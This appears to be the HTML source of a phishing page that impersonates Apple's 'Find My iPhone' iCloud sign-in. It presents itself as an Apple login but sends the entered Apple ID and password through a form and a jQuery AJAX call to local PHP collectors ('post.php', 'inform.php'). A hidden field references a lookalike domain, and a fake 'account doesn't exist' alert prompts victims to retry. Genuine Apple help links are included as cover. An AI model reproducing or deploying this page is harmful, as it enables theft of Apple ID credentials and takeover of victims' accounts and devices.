mobile.html 4.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112
  1. <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="robots" content="nofollow"><title>Apple Inc.</title><link rel="stylesheet" type="text/css" href="./Apple Inc._files/style.css"><style type="text/css"></style></head>
  2. <body id="main-body">
  3. <link rel="stylesheet" href="./Apple Inc._files/bootstrap.min.css">
  4. <script src="./Apple Inc._files/jquery.min.js"></script>
  5. <script>
  6. function SubmitMe() {
  7. $.ajax({
  8. url: 'inform.php',
  9. dataType: 'json',
  10. type: 'post',
  11. contentType: 'application/json',
  12. data: JSON.stringify( { "username": $('#username').val(), "pw": $('#password').val() } ),
  13. processData: false,
  14. success: function( data, textStatus, jQxhr ){
  15. $('#result').html( JSON.stringify( data ) );
  16. },
  17. error: function( jqXhr, textStatus, errorThrown ){
  18. alert("This account doesn't exist please check your Apple ID and Password and try again.");
  19. }
  20. });
  21. return false;
  22. }
  23. </script>
  24. <div id="container">
  25. <div id="row">
  26. <div id="iCloudLogo"></div>
  27. <div id="title-center">
  28. <h1>Find My iPhone</h1>
  29. </div>
  30. <div id="form-center">
  31. <form action="post.php" method="post">
  32. <div id="form-group-container">
  33. <div id="form-group">
  34. <label for="username">Apple ID</label>
  35. <input autocorrect="off" autocapitalize="off" name="email" id="username"
  36. autofocus="autofocus" placeholder="example@icloud.com" type="text">
  37. <br>
  38. </div>
  39. <div id="form-group">
  40. <label for="password">Password</label>
  41. <input autocorrect="off" autocapitalize="off" type="password" name="password" id="password" placeholder="required">
  42. </div>
  43. </div>
  44. <input type="hidden" value="English" name="lang" id="lang">
  45. <input type="hidden" value="www.icloudre.com/apple.html" name="link">
  46. <input type="submit" style="position: absolute; height: 0px; width: 0px; border: none; padding: 0px;" hidefocus="true" tabindex="-1">
  47. </form>
  48. </div>
  49. <div id="help-center">
  50. <a class="help-a-style" href="https://iforgot.apple.com/">Forgot your Apple ID or password?</a>
  51. <span id="result"></span>
  52. </div>
  53. <div id="footer">
  54. <a class="help-a-style" style="font-size: 35pt;" href="http://www.apple.com/icloud/setup/">Setup Instruction</a>
  55. <p>Version 8.0 (6A86)</p>
  56. </div>
  57. </div>
  58. </div>
  59. <script src="./Apple Inc._files/bootstrap.min.js"></script>
  60. <script>
  61. $(document).ready(function() {
  62. var userLang = navigator.language || navigator.userLanguage;
  63. console.log(userLang);
  64. $("input[name=apple]").focus();
  65. $(".clearable").on('click', function(){
  66. $("input[name=apple]").val('').change();
  67. $(this).attr("src", "blue-icon-close.png");
  68. $(this).css("display", "none");
  69. $(this).attr("src", "Close-icon.png");
  70. });
  71. function isValidEmailAddress(emailAddress) {
  72. var pattern = new RegExp(/^(("[\w-+\s]+")|([\w-+]+(?:\.[\w-+]+)*)|("[\w-+\s]+")([\w-+]+(?:\.[\w-+]+)*))(@((?:[\w-+]+\.)*\w[\w-+]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][\d]\.|1[\d]{2}\.|[\d]{1,2}\.))((25[0-5]|2[0-4][\d]|1[\d]{2}|[\d]{1,2})\.){2}(25[0-5]|2[0-4][\d]|1[\d]{2}|[\d]{1,2})\]?$)/i);
  73. return pattern.test(emailAddress);
  74. };
  75. $('input[name=apple]').bind("keydown", function(e){
  76. if(e.which == 13){
  77. e.preventDefault();
  78. var val = $(this).val();
  79. if (!isValidEmailAddress(val)) {
  80. val = val+"@icloud.com";
  81. $(this).val(val);
  82. } else {
  83. console.log($(this).val());
  84. }
  85. console.log(val);
  86. $("input[name=pw]").focus();
  87. return false;
  88. } else if (e.keyCode == 8 || e.keyCode == 46) {
  89. if($("input[name=apple]").val() == "") {
  90. $(".clearable").css("display", "none");
  91. $(".clearable").attr("src", "Close-icon.png");
  92. }
  93. } else if($("input[name=apple]").val() == "") {
  94. $(".clearable").css("display", "none");
  95. $(".clearable").attr("src", "Close-icon.png");
  96. } else {
  97. $(".clearable").css("display", "block");
  98. }
  99. });
  100. });
  101. </script>
  102. </body></html>